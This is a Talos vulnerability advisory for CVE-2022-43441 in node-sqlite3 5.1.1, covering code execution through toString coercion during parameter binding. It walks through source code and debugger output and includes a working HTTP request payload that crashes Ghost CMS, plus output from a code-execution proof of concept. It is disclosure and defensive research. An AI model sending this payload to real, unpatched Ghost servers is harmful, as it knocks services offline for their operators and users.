Talos Vulnerability Report

TALOS-2022-1645

Ghost Foundation node-sqlite3 code execution vulnerability

March 16, 2023
CVE Number

CVE-2022-43441

SUMMARY

A code execution vulnerability exists in the Statement Bindings functionality of Ghost Foundation node-sqlite3 5.1.1. A specially-crafted Javascript file can lead to arbitrary code execution. An attacker can provide malicious input to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Ghost Foundation node-sqlite3 5.1.1

PRODUCT URLS

node-sqlite3 - https://github.com/TryGhost/node-sqlite3

CVSSv3 SCORE

8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-915 - Improperly Controlled Modification of Dynamically-Determined Object Attributes

DETAILS

The node-sqlite3 module provides asynchronous, non-blocking SQLite3 bindings for Node.js within Ghost CMS.

This vulnerability is also exploitable using Ghost CMS. However, due to the restrictions of JSON, it only manifests itself as a remote denial of service, which crashes the entire Node.js service that Ghost CMS is running on. This is addressed later in this report.

When SQL query parameters are bound to a statement using this module, those parameters are sent through a loop within the Statement::Bind() function defined in statement.cc. This loop determines the parameter type(s) and those parameters are bound to the specified query.

[0] Each Element from the array is retrieved with (array).Get(i) and then BindParameter() is called

225 template <class T> T* Statement::Bind(const Napi::CallbackInfo& info, int start, int last) {
226     Napi::Env env = info.Env();
227     Napi::HandleScope scope(env);
228 
229     if (last < 0) last = info.Length();
230     Napi::Function callback;
231     if (last > start && info[last - 1].IsFunction()) {
232         callback = info[last - 1].As<Napi::Function>();
233         last--;
234     }
235 
236     T* baton = new T(this, callback);
237 
238     if (start < last) {
239         if (info[start].IsArray()) {
240             Napi::Array array = info[start].As<Napi::Array>();
241             int length = array.Length();
242             // Note: bind parameters start with 1.
243             for (int i = 0, pos = 1; i < length; i++, pos++) {
244                 baton->parameters.push_back(BindParameter((array).Get(i), pos)); [0]
245             }
246         }
<...snip>
276 
277     return baton;
278 }

The Get operation can be found in node-addon-api/napi-inl.h. This will attempt to retrieve the appropriate value and return an error code status.
[1] napi_get_element() is called.

1452 inline MaybeOrValue<Value> Object::Get(uint32_t index) const {
1453   napi_value value;
1454   napi_status status = napi_get_element(_env, _value, index, &value); [1]
1455   NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, Value(_env, value), Value);
1456 }

napi_get_element in js_native_api_v8.cc will return the specified object at the specified index as well as the status of the operation.

1209 napi_status NAPI_CDECL napi_get_element(napi_env env,
1210                                         napi_value object,
1211                                         uint32_t index,
1212                                         napi_value* result) {
1213   NAPI_PREAMBLE(env);
1214   CHECK_ARG(env, result);
1215 
1216   v8::Local<v8::Context> context = env->context();
1217   v8::Local<v8::Object> obj;
1218 
1219   CHECK_TO_OBJECT(env, context, obj, object);
1220 
1221   auto get_maybe = obj->Get(context, index); [n]
1222 
1223   CHECK_MAYBE_EMPTY(env, get_maybe, napi_generic_failure);
1224 
1225   *result = v8impl::JsValueFromV8LocalValue(get_maybe.ToLocalChecked()); [2]
1226   return GET_RETURN_STATUS(env); [3]
1227 }

At [2] we can see, when parsing the first item (the malicious object), the result value is a pointer to:

gef➤  jlh get_maybe.ToLocalChecked()
0x3fffd0e977b9: [JSArray]
 - map: 0x0b421c5036e1 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x2467405c5fb9 <JSArray[0]>
 - elements: 0x3fffd0e97751 <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x1fbdd9d81329 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x1fbdd9d855f9: [String] in ReadOnlySpace: #length: 0x2e0d60975d51 <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3fffd0e97751 <FixedArray[1]> {
           0: 0x3fffd0e97769 <Object map = 0x2e6252227459>
 }

And that no error was found [3]:

gef➤  p env->last_error
$214 = {
  error_message = 0x0,
  engine_reserved = 0x0,
  engine_error_code = 0x0,
  error_code = napi_ok
}

Once the object is retrieved, we return to the BindParameter() operation in statement.cc, which attempts to normalize and return the appropriate new object to assign to the bound parameters.

[4] This line calls the toString() operation on a received object, which will then call napi_coerce_to_string() . (Note if we define a valid function and assign it to the toString() method of an object, the function will execute in the context of the script running the Javascript code.) **This is where we would achieve Javascript code execution using the module. **

The potential misuse of this function call resulting in code execution is noted in the Node.js API docs at: https://nodejs.org/api/n-api.html#napi_coerce_to_string:

This API implements the abstract operation ToString() as defined in Section 7.1.13 of the ECMAScript Language Specification. This function potentially runs JS code if the passed-in value is an object.

Continue reading for how this is handled in Ghost CMS with JSON restrictions.

[5] With JSON restricted characters, we are only able to define toString() as null or another invalid value, which results in a new object not being returned, only a null-value.

180 template <class T> Values::Field*
181                    Statement::BindParameter(const Napi::Value source, T pos) {
182     if (source.IsString()) {
183         std::string val = source.As<Napi::String>().Utf8Value();
184         return new Values::Text(pos, val.length(), val.c_str());
185     }
186     else if (OtherInstanceOf(source.As<Object>(), "RegExp")) {  
187         std::string val = source.ToString().Utf8Value();
188         return new Values::Text(pos, val.length(), val.c_str());
189     }
190     else if (source.IsNumber()) {
191         if (OtherIsInt(source.As<Napi::Number>())) {
192             return new Values::Integer(pos, source.As<Napi::Number>().Int32Value());
193         } else {
194             return new Values::Float(pos, source.As<Napi::Number>().DoubleValue());
195         }
196     }
197     else if (source.IsBoolean()) {
198         return new Values::Integer(pos, source.As<Napi::Boolean>().Value() ? 1 : 0);
199     }
200     else if (source.IsNull()) {
201         return new Values::Null(pos);
202     }
203     else if (source.IsBuffer()) {
204         Napi::Buffer<char> buffer = source.As<Napi::Buffer<char>>();
205         return new Values::Blob(pos, buffer.Length(), buffer.Data());
206     }
207     else if (OtherInstanceOf(source.As<Object>(), "Date")) {
208         return new Values::Float(pos, source.ToNumber().DoubleValue());
209     }
210     else if (source.IsObject()) { 
211         Napi::String napiVal = source.ToString(); [4]
212         // Check whether toString returned a value that is not undefined.
213         if(napiVal.Type() == 0) { 
214             return NULL; [5]
215         }
216 
217         std::string val = napiVal.Utf8Value();
218         return new Values::Text(pos, val.length(), val.c_str());
219     }
220     else {
221         return NULL;
222     }
223 }

Here is the object in which napiVal.Type() is 0x0 or napi_undefined at [5]:

gef➤  p napiVal
$239 = {
  <Napi::Name> = {
    <Napi::Value> = {
      _env = 0x0,
      _value = 0x0
    }, <No data fields>}, <No data fields>}

gef➤  p napiVal.Type()
$240 = napi_undefined

When we return to the original Bind() loop call previously [6], we can see a NULL object pushed into the parameters list

225 template <class T> T* Statement::Bind(const Napi::CallbackInfo& info, int start, int last) {
226     Napi::Env env = info.Env();
227     Napi::HandleScope scope(env);
228 
229     if (last < 0) last = info.Length();
230     Napi::Function callback;
231     if (last > start && info[last - 1].IsFunction()) {
232         callback = info[last - 1].As<Napi::Function>();
233         last--;
234     }
235 
236     T* baton = new T(this, callback);
237 
238     if (start < last) {
239         if (info[start].IsArray()) {
240             Napi::Array array = info[start].As<Napi::Array>();
241             int length = array.Length();
242             // Note: bind parameters start with 1.
243             for (int i = 0, pos = 1; i < length; i++, pos++) {
244                 baton->parameters.push_back(BindParameter((array).Get(i), pos)); [6]
245             }
246         }
<...snip>
276 
277     return baton;
278 }

gef➤  p baton->parameters
$232 = std::vector of length 1, capacity 1 = {0x0}

Now we begin to parse the second element in the array, which is just the int 0x41

[7] This time when within napi_get_element, the function fails at NAPI_PREAMBLE.

1209 napi_status NAPI_CDECL napi_get_element(napi_env env,
1210                                         napi_value object,
1211                                         uint32_t index,
1212                                         napi_value* result) {
1213   NAPI_PREAMBLE(env); [7]
<< ... snip ... >
1225   *result = v8impl::JsValueFromV8LocalValue(get_maybe.ToLocalChecked()); 
1226   return GET_RETURN_STATUS(env); 
1227 }

NAPI_PREABLE in js_native_api_v8.h
[8] Since (env)->last_exception.IsEmpty() evaluates to 0x0, napi_pending_exception is set, and the napi_get_element function immediately returns.

214 // NAPI_PREAMBLE is not wrapped in do..while: try_catch must have function scope
215 #define NAPI_PREAMBLE(env)                                                     \
216   CHECK_ENV((env));                                                            \
217   RETURN_STATUS_IF_FALSE(                                                      \
218       (env),                                                                   \
219       (env)->last_exception.IsEmpty() && (env)->can_call_into_js(),            \ [8]
220       napi_pending_exception);                                                 \
221   napi_clear_last_error((env));                                                \
222   v8impl::TryCatch try_catch((env))

CHECK_ENV definition:

194 #define CHECK_ENV(env)                                                         \
195   do {                                                                         \
196     if ((env) == nullptr) {                                                    \
197       return napi_invalid_arg;                                                 \
198     }                                                                          \
199   } while (0)

RETURN_STATUS_IF_FALSE definition:

179 #define RETURN_STATUS_IF_FALSE(env, condition, status)                         \
180   do {                                                                         \
181     if (!(condition)) {                                                        \
182       return napi_set_last_error((env), (status));                             \
183     }                                                                          \
184   } while (0)

We can see the previous exception below:

gef➤  jlh env->last_exception
0x2e9ca2e2a6e1: [JS_ERROR_TYPE]
 - map: 0x07250b727a41 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x3c9cb938ee11 <Object map = 0x24317ffb4e99>
 - elements: 0x02ef5d981329 <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x02ef5d981329 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x2ef5d9860f1: [String] in ReadOnlySpace: #stack: 0x10a5cd0f5ea1 <AccessorInfo> (const accessor descriptor), location: descriptor
    0x2ef5d985721: [String] in ReadOnlySpace: #message: 0x2e9ca2e2a6c1 <String[40]: c"Cannot convert object to primitive value"> (const data field 0), location: in-object
    0x02ef5d986659 <Symbol: (error_stack_symbol)>: 0x2e9ca2e2a759 <FixedArray[10]> (const data field 1), location: in-object
 }

[9] We can also see the value returned to Object::Get is 0x0.

   1452 inline MaybeOrValue<Value> Object::Get(uint32_t index) const {
   1453   napi_value value;
   1454   napi_status status = napi_get_element(_env, _value, index, &value); [9]
   1455   NAPI_RETURN_OR_THROW_IF_FAILED(_env, status, Value(_env, value), Value);
   1456 }

   gef➤  p value
   $267 = (napi_value) 0x0

When this returns all the way back to the original loop and is sent to the BindParameter call, this null object is still parsed.
[10] When we reach line 186, the function attempts to coerce the serialized JSON into an object and check if it is of type RegExp, as part of its normal parsing loop.

180 template <class T> Values::Field*
181                    Statement::BindParameter(const Napi::Value source, T pos) {
182     if (source.IsString()) {
183         std::string val = source.As<Napi::String>().Utf8Value();
184         return new Values::Text(pos, val.length(), val.c_str());
185     }
186     else if (OtherInstanceOf(source.As<Object>(), "RegExp")) { [10] 
187         std::string val = source.ToString().Utf8Value();
188         return new Values::Text(pos, val.length(), val.c_str());
189     }
<... snip ...>

As() as defined in napi-inl.h:

 744 inline T Value::As() const {
 745   return T(_env, _value);
 746 }

We can see that both values are 0x0, as expected.

gef➤  p _env
$278 = (napi_env) 0x0
gef➤  p _value
$279 = (napi_value) 0x0

When the call to OtherInstanceOf() is made, the source value is a null <Napi::Value>.

gef➤  p source
$280 = {
  <Napi::Value> = {
    _env = 0x0,
    _value = 0x0
  }, <No data fields>}

[11] This null source is used to attempt to check if it is of the type RegEx. Part of this check will call Env::Global with a null this pointer.

 31 // A Napi InstanceOf for Javascript Objects "Date" and "RegExp"
 32 bool OtherInstanceOf(Napi::Object source, const char* object_type) {
 33     if (strncmp(object_type, "Date", 4) == 0) {
 34         return source.InstanceOf(source.Env().Global().Get("Date").As<Function>());
 35     } else if (strncmp(object_type, "RegExp", 6) == 0) {
 36         return source.InstanceOf(source.Env().Global().Get("RegExp").As<Function>());
 37     }
 38 
 39     return false;
 40 }

[12] Which returns a status of napi_invalid_arg when napi_get_global is called.

gef➤  p *this
$281 = {
  _env = 0x0
}

gef➤  p status
$282 = napi_invalid_arg


 458 inline Object Env::Global() const {
 459   napi_value value;
 460   napi_status status = napi_get_global(*this, &value); [12]
 461   NAPI_THROW_IF_FAILED(*this, status, Object());
 462   return Object(*this, value);
 463 }

An exception is then thrown, as seen in the crash information section of this report.

Crash Information

FATAL ERROR: Error::New napi_get_last_error_info
 1: 0x55555642d792 node::DumpBacktrace(_IO_FILE*) [node]
 2: 0x555556525a02 node::Abort() [node]
 3: 0x555556526a33 node::OOMErrorHandler(char const*, bool) [node]
 4: 0x5555565268f0 node::FatalError(char const*, char const*) [node]
 5: 0x5555564bfbc4 napi_open_callback_scope [node]
 6: 0x7ffff50e0534 Napi::Error::Error() [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
 7: 0x7ffff50e02fb Napi::Error::New(napi_env__*) [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
 8: 0x7ffff5104685 Napi::Env::Global() const [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
 9: 0x7ffff50fe72c OtherInstanceOf(Napi::Object, char const*) [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
10: 0x7ffff510ca7f node_sqlite3::Values::Field* node_sqlite3::Statement::BindParameter<int>(Napi::Value, int) [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
11: 0x7ffff5108a4d node_sqlite3::Statement::RunBaton* node_sqlite3::Statement::Bind<node_sqlite3::Statement::RunBaton>(Napi::CallbackInfo const&, int, int) [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
12: 0x7ffff510076b node_sqlite3::Statement::Run(Napi::CallbackInfo const&) [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
13: 0x7ffff510bf20 Napi::InstanceWrap<node_sqlite3::Statement>::InstanceMethodCallbackWrapper(napi_env__*, napi_callback_info__*)::{lambda()#1}::operator()() const [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
14: 0x7ffff510e31f napi_value__* Napi::details::WrapCallback<Napi::InstanceWrap<node_sqlite3::Statement>::InstanceMethodCallbackWrapper(napi_env__*, napi_callback_info__*)::{lambda()#1}>(Napi::InstanceWrap<node_sqlite3::Statement>::InstanceMethodCallbackWrapper(napi_env__*, napi_callback_info__*)::{lambda()#1}) [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
15: 0x7ffff510bf9d Napi::InstanceWrap<node_sqlite3::Statement>::InstanceMethodCallbackWrapper(napi_env__*, napi_callback_info__*) [/tmp/sqlite3_testing/node_modules/sqlite3/lib/binding/napi-v6-linux-glibc-x64/node_sqlite3.node]
16: 0x555556493c4e  [node]
17: 0x5555564a0d59  [node]
18: 0x555556493d06  [node]
19: 0x555556493d66  [node]
20: 0x555556899451 v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) [node]
21: 0x55555689a0bb  [node]
22: 0x55555689e4f4 v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) [node]
23: 0x55555773b539  [node]
Aborted (core dumped)

Exploit Proof of Concept

Ghost CMS DoS PoC:

PUT /members/api/member/ HTTP/1.1
Host: 172.16.49.2
Cookie: ghost-members-ssr=llsdggbkqlzchmteev@bvhrs.com; ghost-members-ssr.sig=zI7KlgF41jWuXAOzkKUy2g6-2aE
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.49.2/
Content-Type: application/json
Content-Length: 59
Origin: http://172.16.49.2
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"newsletters":[{
"": [
{ "toString":null  }
]
}]}    

RCE PoC that redefines toString() as a call to console.log('Hello World'):

root@46689a3609ba:/tmp/# node poc.js
Hello World
undefined:0


[Error: SQLITE_ERROR: no such table: foo
Emitted 'error' event on Statement instance at:
] {
  errno: 1,
  code: 'SQLITE_ERROR'
}

Node.js v19.0.0-pre
TIMELINE

2022-10-28 - Vendor Disclosure
2023-03-13 - Vendor Patch Release
2023-03-16 - Public Release

Credit

Discovered by Dave McDaniel of Cisco Talos.